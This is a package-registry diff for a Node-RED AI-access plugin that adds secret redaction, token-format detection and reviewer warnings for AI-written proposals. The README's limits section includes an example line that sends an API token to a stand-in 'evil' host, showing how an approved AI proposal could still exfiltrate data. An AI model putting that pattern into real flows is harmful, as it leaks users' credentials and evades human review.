@com55/node-red-ai-access 0.2.0-beta.4 → 0.2.0-beta.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +58 -0
- package/README.md +93 -9
- package/ai-access.html +1 -1
- package/dist/plugin.cjs +279 -106
- package/dist/plugin.d.cts +17 -2
- package/docs/api/openapi.yaml +2 -0
- package/docs/errors.md +8 -0
- package/docs/mcp-tools.md +2 -2
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -6,6 +6,64 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
|
6
6
|
and this project adheres to
|
|
7
7
|
[Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
8
8
|
|
|
9
|
+
## [0.2.0-beta.5] - 2026-10-28
|
|
10
|
+
|
|
11
|
+
### Security
|
|
12
|
+
|
|
13
|
+
- `outbound_node_changed` (now incl. http response, link out/call and
|
|
14
|
+
third-party nodes with url/host fields) and new `secret_reference_added`
|
|
15
|
+
(code/config newly reading a secret-named env/global/flow value) are emitted
|
|
16
|
+
on every proposal, not only when secrets were restored; red approve banner.
|
|
17
|
+
- Unquoted values: strong secret names redact any value; weak names need a
|
|
18
|
+
random-looking value (digit/symbol, 16+ chars, or high entropy).
|
|
19
|
+
- Full-field redaction is decided by length only (no time budget), so reads and
|
|
20
|
+
submits agree.
|
|
21
|
+
- Redaction scanning is linear-time: the connection-string rule is a plain split
|
|
22
|
+
(was quadratic: 250k chars took ~46 s), every regex is length-bounded, and
|
|
23
|
+
fields over 256 KB are hidden whole.
|
|
24
|
+
- More reviewer warnings when secrets are restored: `secret_wires_changed`,
|
|
25
|
+
`secret_scope_changed`, `outbound_node_changed`, `secret_tab_changed`.
|
|
26
|
+
- Secret-named URL query params are redacted; duplicate header names restore
|
|
27
|
+
one-to-one.
|
|
28
|
+
- Strict placeholder restore on proposal submit: `[REDACTED]` becomes the real
|
|
29
|
+
secret only in its original node/field/line, env and header entries matched by
|
|
30
|
+
exact name (never by index); added, duplicated, moved or renamed placeholders
|
|
31
|
+
reject the submit (`redacted_placeholder_mismatch`). Approve cards list
|
|
32
|
+
restored-secret fields and warn loudly (`secret_destination_changed`,
|
|
33
|
+
`secret_node_code_changed`) when such a node's destination or code changes.
|
|
34
|
+
- Detection also covers DSN/connection strings, unquoted `password: x`,
|
|
35
|
+
`Buffer.from("user:pw")`, the `PW` pattern, and content of node
|
|
36
|
+
`name`/`label`/`info`; string fields over 256 KB are fully redacted for AI.
|
|
37
|
+
The dashboard warns when the pattern list is empty, and the REST redaction
|
|
38
|
+
audit middleware only acts on AI REST routes under `/mcp/`.
|
|
39
|
+
- Likely secrets are redacted from everything AI clients receive: MCP tools
|
|
40
|
+
(`list_flows`, `get_flow`, `get_node`, `get_node_field`, `search_flows`,
|
|
41
|
+
proposal tools and diffs), REST with an access link or OAuth token, and GET
|
|
42
|
+
links. Previously `list_flows` returned plaintext env values such as a group
|
|
43
|
+
`OAUTH_POC_PASSWORD` to OAuth read clients. Admin-session (dashboard) reads
|
|
44
|
+
are unchanged and show real values.
|
|
45
|
+
- Env entries (tab, group, subflow, subflow instance, node, `global-config`)
|
|
46
|
+
whose name matches a secret pattern get `value: "[REDACTED]"` and
|
|
47
|
+
`redacted: true`; secret-named node settings and name/value pairs in node
|
|
48
|
+
config (change rules, inject props, http headers) are redacted too.
|
|
49
|
+
- Function `func`/`initialize`/`finalize` and all other string fields are
|
|
50
|
+
scanned for known token formats (AWS, GitHub, Slack, OpenAI, Stripe, Google,
|
|
51
|
+
JWT, PEM private keys, Bearer/Basic headers, URL passwords) and
|
|
52
|
+
`name = "literal"` assignments; only the literal is replaced. Redacted nodes
|
|
53
|
+
carry `_aiRedactions` (field paths).
|
|
54
|
+
- Proposals restore `[REDACTED]` placeholders to the original secret on submit
|
|
55
|
+
(full tab or node ops), so AI edits never overwrite a secret with the
|
|
56
|
+
placeholder; unmatched placeholders produce a
|
|
57
|
+
`redacted_placeholder_unresolved` warning.
|
|
58
|
+
- The audit log records `ai.redacted` with the count per response and the
|
|
59
|
+
operation (never values); `proposal.created` adds `restoredRedactions`.
|
|
60
|
+
|
|
61
|
+
### Added
|
|
62
|
+
|
|
63
|
+
- `secretNamePatterns` setting (dashboard Settings → Secret redaction: add,
|
|
64
|
+
remove, reset to defaults; `PUT /settings` accepts a list or `null` to reset).
|
|
65
|
+
Lockable via `settings.js` `aiAccess.secretNamePatterns`.
|
|
66
|
+
|
|
9
67
|
## [0.2.0-beta.4] - 2026-10-28
|
|
10
68
|
|
|
11
69
|
### Changed
|
package/README.md
CHANGED
|
@@ -84,6 +84,9 @@ module.exports = {
|
|
|
84
84
|
// Browser origins allowed to call /mcp/a, /mcp/api, and /mcp/rpc
|
|
85
85
|
// cross-origin (default: none — no CORS headers are sent)
|
|
86
86
|
// corsAllowedOrigins: ['https://app.example.com'],
|
|
87
|
+
// Secret-like names redacted from AI responses (default list below;
|
|
88
|
+
// [] turns off name matching — token formats are always redacted)
|
|
89
|
+
// secretNamePatterns: ['PASSWORD', 'SECRET', 'TOKEN', 'API_KEY', 'KEY'],
|
|
87
90
|
// MCP OAuth (disabled by default; publicBaseUrl is the issuer)
|
|
88
91
|
// oauth: {
|
|
89
92
|
// enabled: true,
|
|
@@ -141,6 +144,87 @@ match case-insensitively and the configured origin is echoed; malformed origins
|
|
|
141
144
|
are rejected. Exposed headers include `Mcp-Session-Id`, `WWW-Authenticate`,
|
|
142
145
|
`Retry-After`, and the `RateLimit*` headers. Other origins get no CORS headers.
|
|
143
146
|
|
|
147
|
+
### Secret redaction
|
|
148
|
+
|
|
149
|
+
Every AI-facing response (MCP tools, REST with an access link or OAuth token,
|
|
150
|
+
GET links, and proposal bodies/diffs shown to AI) has likely secrets replaced
|
|
151
|
+
with `[REDACTED]`. The dashboard (admin session) always shows real values.
|
|
152
|
+
|
|
153
|
+
- **By name**: env entries on tabs, groups, subflows, subflow instances, and
|
|
154
|
+
`global-config`, secret-named node settings (e.g. `password`), and name/value
|
|
155
|
+
pairs inside node config (change rules, inject props, http request headers)
|
|
156
|
+
whose name matches a pattern. Redacted env entries get `redacted: true`.
|
|
157
|
+
- **By content**: all other string fields, including function
|
|
158
|
+
`func`/`initialize`/`finalize`, are scanned for AWS (`AKIA…`), GitHub
|
|
159
|
+
(`ghp_…`, `github_pat_…`), Slack (`xox…`, webhook URLs), OpenAI (`sk-…`),
|
|
160
|
+
Stripe, Google (`AIza…`), JWTs, PEM private keys, `Bearer`/`Basic` headers,
|
|
161
|
+
`scheme://user:password@` URLs, and `name = "literal"` / `name: 'literal'`
|
|
162
|
+
assignments whose name matches a pattern. Only the literal is replaced.
|
|
163
|
+
- Redacted nodes list the redacted field paths in `_aiRedactions`.
|
|
164
|
+
- Also caught: connection strings / DSNs (`Server=…;Password=…;`), URL query
|
|
165
|
+
params with a secret name (`?key=abc123&x=1` → only `abc123`), unquoted
|
|
166
|
+
`password: x` / `token=x` in non-code text fields, and
|
|
167
|
+
`Buffer.from("user:pw")` / `btoa('user:pw')` basic-auth literals. Node
|
|
168
|
+
`name`/`label`/`info` are content-scanned only (no key-name rule). Any single
|
|
169
|
+
string field over 256 KB is sent to AI as `[REDACTED]` (decided by length
|
|
170
|
+
only, so reads and submits always agree). All patterns are length-bounded /
|
|
171
|
+
linear (no ReDoS).
|
|
172
|
+
- **Unquoted values** depend on name strength. Strong names
|
|
173
|
+
(`PASSWORD PASSWD PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY PRIVATE CREDENTIAL PWD PW`):
|
|
174
|
+
any value of 3+ chars except `none`/`null`/`${VAR}`-style references. Weak
|
|
175
|
+
names (`KEY AUTH SESSION COOKIE CONN PASS …` and custom patterns): the value
|
|
176
|
+
must look random — a digit or symbol, 16+ chars, 3+ character classes, or
|
|
177
|
+
Shannon entropy ≥ 3 — so prose like `Session: started` / `key: value` stays.
|
|
178
|
+
- **Proposals (strict restore)**: a `[REDACTED]` placeholder is restored to the
|
|
179
|
+
original secret on submit only when it stays exactly where it was shown: same
|
|
180
|
+
node id and field, env and name/value entries (headers, change rules) matched
|
|
181
|
+
by their exact name — never by array position — no more placeholders in the
|
|
182
|
+
field than the original had, and the text around each placeholder on its line
|
|
183
|
+
unchanged. Anything else (a new or duplicated placeholder, a renamed env var,
|
|
184
|
+
a header renamed to take a secret value, an edited line) makes the submit fail
|
|
185
|
+
with `redacted_placeholder_mismatch` and nothing is stored.
|
|
186
|
+
- Approving: the proposal card lists every field whose secret was restored, and
|
|
187
|
+
shows a red warning (`secret_destination_changed`) when a node holding a
|
|
188
|
+
restored secret had its `url`/`host`/`port`/`method`/`headers`/type or similar
|
|
189
|
+
destination changed, or `secret_node_code_changed` when its code changed. Also
|
|
190
|
+
flagged when secrets were restored: `secret_wires_changed` (its output wires
|
|
191
|
+
changed), `secret_scope_changed` (tab/group env such as `${API_HOST}`, or a
|
|
192
|
+
config node it uses, changed), `outbound_node_changed` (an http, mqtt, tcp,
|
|
193
|
+
udp, email, websocket, function, exec or file node was added/changed), and
|
|
194
|
+
`secret_tab_changed` (any other node in the tab changed).
|
|
195
|
+
- Always flagged (with or without restored secrets): `outbound_node_changed` for
|
|
196
|
+
any added/changed http request/response, mqtt, tcp, udp, email, websocket,
|
|
197
|
+
link out/call, function, exec or file node — or any node type with a
|
|
198
|
+
`url`/`host`/`server`/`broker`/`endpoint` field — and `secret_reference_added`
|
|
199
|
+
when added/changed code or config reads a secret-named value (`env.get("X")`,
|
|
200
|
+
`$env('X')`, `${X}`, `global.get`, `flow.get`, typed inputs of type
|
|
201
|
+
`env`/`global`/`flow`).
|
|
202
|
+
- Node-RED credentials (and `cred` env entries) are never part of flow output.
|
|
203
|
+
- The audit log records `ai.redacted` with the count per response (never
|
|
204
|
+
values).
|
|
205
|
+
|
|
206
|
+
**Redaction is not exfiltration protection.** It keeps secret values out of what
|
|
207
|
+
the AI reads; it cannot stop an approved flow from sending data. Review every
|
|
208
|
+
proposal — especially red security banners — before approving.
|
|
209
|
+
|
|
210
|
+
**Limits — redaction is best-effort.** Detection uses names and known token
|
|
211
|
+
formats; secrets with unusual names or formats can still reach AI. Strict
|
|
212
|
+
restore only stops the AI from _copying_ a placeholder to a new place: an AI
|
|
213
|
+
proposal can still read an existing variable at runtime (e.g. add
|
|
214
|
+
`fetch(evil, {body: env.get('API_TOKEN')})`, or use `token` already defined in a
|
|
215
|
+
function) because flows run with the real values. Always review code and
|
|
216
|
+
destination changes in proposals before approving, especially on nodes flagged
|
|
217
|
+
above.
|
|
218
|
+
|
|
219
|
+
Default patterns (case-insensitive whole words; a trailing `S` is allowed, and
|
|
220
|
+
patterns of 6+ letters also match glued names like `DBPASSWORD`):
|
|
221
|
+
`PASSWORD PASSWD PASS PWD PW PASSPHRASE SECRET CLIENT_SECRET TOKEN API_KEY APIKEY KEY PRIVATE CREDENTIAL AUTH AUTHORIZATION BEARER SESSION COOKIE CONNECTION_STRING CONN_STR CONN DSN`.
|
|
222
|
+
`KEY` matches `API_KEY` / `apiKey` but not `KEYBOARD` or `MONKEY`; `AUTH` does
|
|
223
|
+
not match `AUTHOR` or `OAUTH`. Names ending in a descriptor word (`TOKEN_URL`,
|
|
224
|
+
`AUTH_TYPE`, `SESSION_TIMEOUT`, `keyType`) are not redacted. Edit the list on
|
|
225
|
+
the dashboard **Settings** tab (add, remove, reset to defaults) or lock it with
|
|
226
|
+
`aiAccess.secretNamePatterns`.
|
|
227
|
+
|
|
144
228
|
### Settings precedence
|
|
145
229
|
|
|
146
230
|
Effective values are resolved **without restart** in this order (highest wins):
|
|
@@ -165,15 +249,15 @@ and an **Open AI Access dashboard** button.
|
|
|
165
249
|
|
|
166
250
|
Everything else is on the dashboard. The **Settings** tab lets `*` admins change
|
|
167
251
|
default deploy type, access-token TTL, maximum active tokens, Public URL (with a
|
|
168
|
-
reachability **Check**), CORS origins,
|
|
169
|
-
Express's effective `trust proxy` setting. The **OAuth**
|
|
170
|
-
lifetimes and the client limit, lists registered clients
|
|
171
|
-
and reports route collisions (linking `http in` nodes to
|
|
172
|
-
`httpNodeRoot: false` metadata fallback. `read` users see
|
|
173
|
-
read-only; writes need `*`, exactly as before. Changes apply
|
|
174
|
-
changing limits starts fresh rate-limit buckets. Enabling OAuth
|
|
175
|
-
URL or an HTTP non-loopback URL shows a warning confirmation; it
|
|
176
|
-
the change. Fields set in `settings.js` are locked.
|
|
252
|
+
reachability **Check**), CORS origins, secret redaction patterns, and the three
|
|
253
|
+
rate limits, and shows Express's effective `trust proxy` setting. The **OAuth**
|
|
254
|
+
tab configures token lifetimes and the client limit, lists registered clients
|
|
255
|
+
with revoke buttons, and reports route collisions (linking `http in` nodes to
|
|
256
|
+
the editor) and the `httpNodeRoot: false` metadata fallback. `read` users see
|
|
257
|
+
the same values read-only; writes need `*`, exactly as before. Changes apply
|
|
258
|
+
immediately; changing limits starts fresh rate-limit buckets. Enabling OAuth
|
|
259
|
+
with no Public URL or an HTTP non-loopback URL shows a warning confirmation; it
|
|
260
|
+
does not block the change. Fields set in `settings.js` are locked.
|
|
177
261
|
|
|
178
262
|
### MCP OAuth
|
|
179
263
|
|
package/ai-access.html
CHANGED
|
@@ -14,7 +14,7 @@
|
|
|
14
14
|
}
|
|
15
15
|
window.__com55AiAccessSidebarLoading = true;
|
|
16
16
|
|
|
17
|
-
var EDITOR_SIDEBAR_ASSET_VERSION = '0.2.0-beta.
|
|
17
|
+
var EDITOR_SIDEBAR_ASSET_VERSION = '0.2.0-beta.5';
|
|
18
18
|
var root = (RED.settings.httpAdminRoot || '/').replace(/\/$/, '');
|
|
19
19
|
var src =
|
|
20
20
|
(root || '') +
|